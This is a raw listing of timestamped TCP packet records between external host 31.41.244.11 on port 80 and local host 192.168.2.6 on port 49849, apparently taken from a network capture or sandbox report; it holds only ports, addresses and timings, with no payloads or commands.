Dec 20, 2024 21:13:12.123241901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.123332977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.123354912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.123444080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.124566078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.124655962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.124695063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.124695063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.125948906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.126013041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.126019001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.126060963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.127249956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.127305984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.127365112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.127412081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.128515005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.128585100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.128637075 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.128683090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.129844904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.129898071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.129950047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.130063057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.131155968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.131205082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.131367922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.131418943 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.132478952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.132555008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.132589102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.132728100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.133794069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.133899927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.133924961 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.133951902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.135130882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.135222912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.135297060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.135355949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.136461020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.136564016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.136617899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.136709929 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.137821913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.137887001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.137931108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.137981892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.139103889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.139163017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.139277935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.139328003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.140393972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.140450954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.140491962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.140618086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.141721964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.141772985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.141825914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.141881943 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.143054962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.143127918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.143140078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.143204927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.144349098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.144409895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.144481897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.144534111 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.145648003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.145699024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.145757914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.145809889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.147026062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.147100925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.147149086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.147190094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.148278952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.148328066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.148397923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.148452997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.149626970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.149679899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.149732113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.149945021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.150998116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.151051998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.151086092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.151139975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.152280092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.152340889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.152472973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.152525902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.153700113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.153752089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.153817892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.153906107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.155369043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.155453920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.155504942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.278201103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.278254986 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.278292894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.278338909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.278454065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.278516054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.278522968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.278595924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.279640913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.279694080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.279710054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.279767036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.280750990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.280808926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.281223059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.281339884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.281378984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.281456947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.284420967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.284533024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.285722971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.285739899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.285780907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.285810947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.285887003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.285903931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.285921097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.285969019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.286003113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.286880970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.286956072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.287055969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.287116051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.288081884 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.288149118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.288254023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.288331032 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.289226055 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.289278984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.289403915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.289484024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.290436029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.290452003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.290488958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.290510893 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.291588068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.291605949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.291660070 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.291660070 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.292608976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.292670012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.292746067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.292830944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.293883085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.293934107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.294058084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.294107914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.295038939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.295100927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.295434952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.295489073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.296463966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.296482086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.296534061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.296534061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.297494888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.297511101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.297557116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.298563004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.298579931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.298609972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.298645973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.299725056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.299807072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.299901009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.299952030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.300895929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.300945997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.301060915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.301115036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.302117109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.302166939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.302284956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.302344084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.303143024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.303203106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.303303957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.303348064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.304294109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.304348946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.304470062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.304518938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.305560112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.305625916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.305723906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.305782080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.306760073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.306813002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.306926012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.307003975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.307913065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.308011055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.308078051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.308161974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.308954000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.309007883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.309111118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.309160948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.310116053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.310187101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.310291052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.310343981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.311471939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.311522961 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.311650991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.311695099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.312552929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.312606096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.312731981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.312784910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.313637972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.313698053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.313805103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.313863039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.314814091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.314866066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.314979076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.315175056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.316055059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.316106081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.316225052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.316278934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.317197084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.317287922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.317373991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.317454100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.318475008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.318497896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.318545103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.319396019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.319444895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.319575071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.319631100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.320693016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.320708990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.320743084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.320774078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.321762085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.321840048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.322107077 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.322165966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.322288036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.322303057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.322344065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.323131084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.323204041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.323290110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.323333025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.326571941 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.326591015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.326636076 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.326653957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.327090979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.327107906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.327138901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.327167988 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.327754021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.327771902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.327816010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.327816963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.328746080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.328823090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.329044104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.329094887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.330101967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.330158949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.330285072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.330360889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.331207991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.331296921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.331504107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.331585884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.332503080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.332552910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.332673073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.332757950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.333718061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.333735943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.333779097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.333797932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.334855080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.334903002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.335026026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.335084915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.335091114 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.335102081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.335129023 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.335153103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.336052895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.336126089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.336144924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.336185932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.337177992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.337234974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.337295055 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.337367058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.338443041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.338486910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.338548899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.338597059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.470212936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.470312119 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.470330000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.470397949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.470562935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.470630884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.470633984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.470685005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.471462011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.471517086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.471555948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.471606970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.472587109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.472655058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.472692966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.472801924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.473212957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.473269939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.473325968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.473387957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.474404097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.474522114 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.474574089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.475683928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.475790024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.475812912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.475866079 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.476795912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.476845980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.477119923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.477199078 CET	49849	80	192.168.2.6	31.41.244.11
